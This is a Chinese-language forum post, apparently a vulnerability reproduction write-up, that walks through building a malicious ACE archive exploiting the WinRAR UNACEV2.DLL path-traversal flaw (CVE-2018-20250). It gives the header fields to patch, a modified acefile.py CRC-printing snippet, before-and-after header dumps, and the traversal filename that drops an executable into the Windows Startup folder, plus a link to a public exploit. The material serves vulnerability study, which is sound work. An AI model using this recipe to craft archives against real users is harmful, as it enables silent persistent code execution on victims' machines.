1 漏洞利用缺陷
利用思路可以选择DLL劫持
1.1exploit 的rar 文件存放位置
该漏洞为一个路径穿越型的漏洞,有两个方面的缺陷限制漏洞的利用。 漏洞利用的目标是把exe释放到操作系统启动目录下,win10 的启动目录是:%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ace文件的解析dll: UNACEV2.DLL,不能识别相对路径,只能是绝对路径,所以上述相对路径是无法识别的,就必须要有一个绝对路径才行, 比如:d:\Working_data\WinRar_Exploit\poc\test.ace漏洞利用的时候需要填写系统启动目录对应当前目录的一个绝对路径,比如..\..\1.exe,相对于当前目录路径的一个文件存储位置, 而目标系统利用的情况下,是无法做到的。
1.2目标计算机的用户名
第一种情况无法保证的情况下,就需要第二种情况来满足,需要目标计算机的用户名,硬编码写入一个文件路径,比如:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.exe
才能比较好的利用。
2 ACE解析模块
需要python3 支持
https://github.com/droe/acefile
3 github exploit 地址
https://github.com/WyAtu/CVE-2018-20250
4漏洞验证还原过程
4.1系统环境&软件环境
win7 x32 sp1
010editor
winace 2.6.9
winrar 5.50 beta 1
ace 文件解析器:acefile :https://github.com/droe/acefile 需要python3 支持
4.2 安装winace&winrar
winace版本是 winace 2.69,是否破解跟漏洞利用没有太大关系
winrar 的版本是 winrar 5.50 beta 1,其他版本未测试
4.3创建.ace文件
使用winace压缩文件,选中需要压缩的文件右键-add to,如图所示:
Figure 1:压缩选择的文件
压缩模式选项中选择全路径:
全路径
4.4 解析 exploit.ace
使用ace解析工具acefile.py --headers exploit.ace得到如下结果
volume
filename C:\Users\admin\Desktop\Desktop.ace
filesize 1457308
headers MAIN:1 FILE:2 others:0
header
hdr_crc 0x7c4a
hdr_size 44
hdr_type 0x00 MAIN
hdr_flags 0x8100 V20FORMAT|SOLID
magic b'**ACE**'
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e5775a8 2019-02-23 14:45:16
reserved1 57 8a 20 6f 00 00 00 00
advert b''
comment b''
reserved2 b'\x00\x00\x00BYW\x99?`\x00\xf0a\xf5\x02\x98\xcc\x00\x00'
header
hdr_crc 0x1cdb
hdr_size 74
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 16884
origsize 19895
datetime 0x4d629493 2018-11-02 18:36:38
attribs 0x00000020 ARCHIVE
crc32 0x589adad7
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename b'Users\\admin\\Desktop\\\xb2\xfa\xc6\xb7\xd1\xe9\xca\xd5\xb1\xea\xd7\xbc\xba\xcd\xb7\xbd\xb7\xa8.docx'
comment b''
ntsecurity b''
reserved2 b''
header
hdr_crc 0x7e2e #重点,需要修改
hdr_size 58 #重点,需要修改
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 1440236
origsize 1565573
datetime 0x4d2d581d 2018-09-13 11:00:58
attribs 0x00000020 ARCHIVE
crc32 0x9629e926
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename b'Users\\admin\\Desktop\\IDM.exe' #重点需要修改
comment b''
ntsecurity b''
reserved2 b''
4.5 重点数据修改
修改的目的是创建漏洞利用所需要的穿越目录和最终生成的exploit.ace 有4个非常重要的点:
Figure 2:需要修改的点
hdr_crc此项可以通过acefile.py 代码中进行打印出来以后进行修改,acefile.py 代码3059处:
if ace_crc16(buf) != hcrc:
print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),
struct.pack('<H', ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))
raise CorruptedArchiveError("header CRC failed")
htype, hflags = struct.unpack('<BH', buf[0:3])
i = 3
#print(struct.unpack('I', hcrc))
通过计算和打印ace_crc16(buf)的值来确认正确的crc的值。
hdrsizehdrsize 的修改要在覆盖 filename 之后确认
filename 写入一个路径穿越的目标文件的路径,格式如下:
C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe
本次使用的是:C:\C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\idm.exe
filenamesize依据文件名长度来计算filenamesize,对应之处修改。
4.6数据修正
修改之后的相关数据如下:
Figure 3:修改之后的相关数据
4.7验证
使用acefile.py 验证修改后的exploit.ace是否符合文件格式
volume
filename C:\Users\admin\Desktop\exploit.ace
filesize 1457368
headers MAIN:1 FILE:2 others:0
header
hdr_crc 0x7c4a
hdr_size 44
hdr_type 0x00 MAIN
hdr_flags 0x8100 V20FORMAT|SOLID
magic b'**ACE**'
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e5775a8 2019-02-23 14:45:16
reserved1 57 8a 20 6f 00 00 00 00
advert b''
comment b''
reserved2 b'\x00\x00\x00BYW\x99?`\x00\xf0a\xf5\x02\x98\xcc\x00\x00'
header
hdr_crc 0x1cdb
hdr_size 74
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 16884
origsize 19895
datetime 0x4d629493 2018-11-02 18:36:38
attribs 0x00000020 ARCHIVE
crc32 0x589adad7
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename b'Users\\admin\\Desktop\\\xb2\xfa\xc6\xb7\xd1\xe9\xca\xd5\xb1\xea\xd7\xbc\xba\xcd\xb7\xbd\xb7\xa8.docx'
comment b''
ntsecurity b''
reserved2 b''
header
hdr_crc 0xe2fd # 已修改
hdr_size 120 # 已修改
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 1440236
origsize 1565573
datetime 0x4d2d581d 2018-09-13 11:00:58
attribs 0x00000020 ARCHIVE
crc32 0x9629e926
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename b'C:\\C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\idm.exe'
comment b''
ntsecurity b''
reserved2 b'\xef\xa4'
4.8exploit测试
在win7 测试系统中,exploit.ace 文件右键选择 extract here ,在操作系统启动目录下生成了 idm.exe:
Figure 4:exploit 测试
参考资料:
https://research.checkpoint.com/extracting-code-execution-from-winrar/
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-2-23 22:59
被仙果编辑
,原因: